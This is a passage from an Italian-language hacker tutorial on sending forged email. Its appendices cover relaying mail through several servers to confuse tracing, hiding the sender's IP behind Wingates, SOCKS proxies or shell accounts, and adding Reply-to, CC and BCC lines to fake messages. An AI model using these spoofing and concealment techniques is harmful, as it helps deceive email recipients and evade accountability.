perl (Penso. Correggetemi se sbaglio: barakirs@netvision.net.il).
Per eseguirli sotto dos/windows devi scaricare active perl da www.activeperl.com
e poi semplicemente fare doppio click su di essi.
Non so come eseguirli sotto un mac. Penso che active perl supporta il mac, ma
non sono sicuro.
Adesso sui falsi daemons.
Ci sono due daemon contenuti in un unico pacchetto con un file readme. Di seguito
ci sono tutti e tre i file. Non li ho alterati, è tutto per te. Gioca
con loro e impara. Oh ,approposito, , se vuoi imparare il perl (o ogni altro
linguaggio di programmazione), vai a blacksun.box.sk e cerca la sezione book.
Divertitevi!
Appendice B: Routing Mail
=====================
Puoi far andare la tua posta lungo molti differenti servers per rendere lheader
più lungo e confondere le persone che vogliono scovarti.
Esempio: se vuoi mandare una e-mail fasulla a blah@blah.com, e farla viaggiare
lungo blaha.com, blahb.com e blahc.com, allora nella parte rcpt:, fai semplicemente
questo: @blaha.com,@blahb.com,@blahc.com:blah@blah.com Nota: questo non lavora
con ogni daemon sendmail.
Grazie a Magnus Kristiansens per questo! ;-)
Appendice C: nascondere il tuo IP
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Così non vuoi che le persone trovino il tuo IP e il tuo hostname quando
li cercano nellheader completo? Allora semplicemente nascondi il tuo IP!
Puoi farlo usando Wingates o SOCKS firewalls, o collegandoti con telnet al daemon
sendmail da uno shell account. Se usi uno di questi, il full header mostrerà
lIP del Wingate/SOCKS firewall/provider dello shell. Se trovi uno shell
acount che ti permette di collegarti con telnet al suo esterno, puoi usare ciò
per falsificare il tuo IP. Altrimenti, usa wingates o SOCKS firewalls. Per imparare
di più leggi i tutorial su Proxy/Wingate/SOCKS e il nostro tutorial sullanonimato
a blacksun.box.sk.
Noi raccomandiamo anche di andare alla sezione books sul nostro
sito e scaricare leccellente manuale chiamato IP spoofing Demystified.
Le cose scritte potrebbero non essere così pratiche, ma è molto
importante leggerlo (imparerai un sacco di cose importanti che potrai usare
in seguito).
Appendice D: Reply-to
=====================
Lopzione reply-to fa il seguente: quando una persona riceve un e-mail
con un indirizzo replay-to e manda una risposta, la risposta è mandata
allindirizzo specificato dentro il comando replay-to (questo non funziona
sui clients di posta davvero davvero vecchi). Per usarlo semplicemente inserisci
questa linea:
Replay-to: some-user@some-server.net
e rimpiazza some-user e some-server con gli appropriati utente e server. Devi
includere questa linea prima o dopo la parte subject:.
Appendice E: CC e BCC
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CC è usato per mandare messaggi a altre persone che non sono I riceventi
del messaggio, ma potrebbero avere bisogno delle informazioni in esso.
BCC è usato allo stesso modo, solo le persone possono vedere Il destinatario.
La B in BCC sta per Blind, mentre le CC stanno per Carbon Copy (come quando
copi una pagina usando
indovina). Così BCC sta per Blind Carbon
Copy mentre CC sta per Carbon Copy. Eccitante, non è vero? Grazie a 12tb
per questa informazione.
Vuoi usare CC e BCC nelle tue e-mail false? Nessun problema!
Essi lavorano esattamente come il comando Reply-to. Semplicemente mettendo linee
CC: o BCC: nella tua e-mail falsa (nel corpo del messaggio), e poi inserendo
lappropriato indirizzo e-mail.
Consultazioni
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RFC 821 - the SMTP RFC. Possono essere trovati presso freesoft.org/CIE/RFC/821/index.htm
.
Grazie a Chris Karwoski per questo ;-)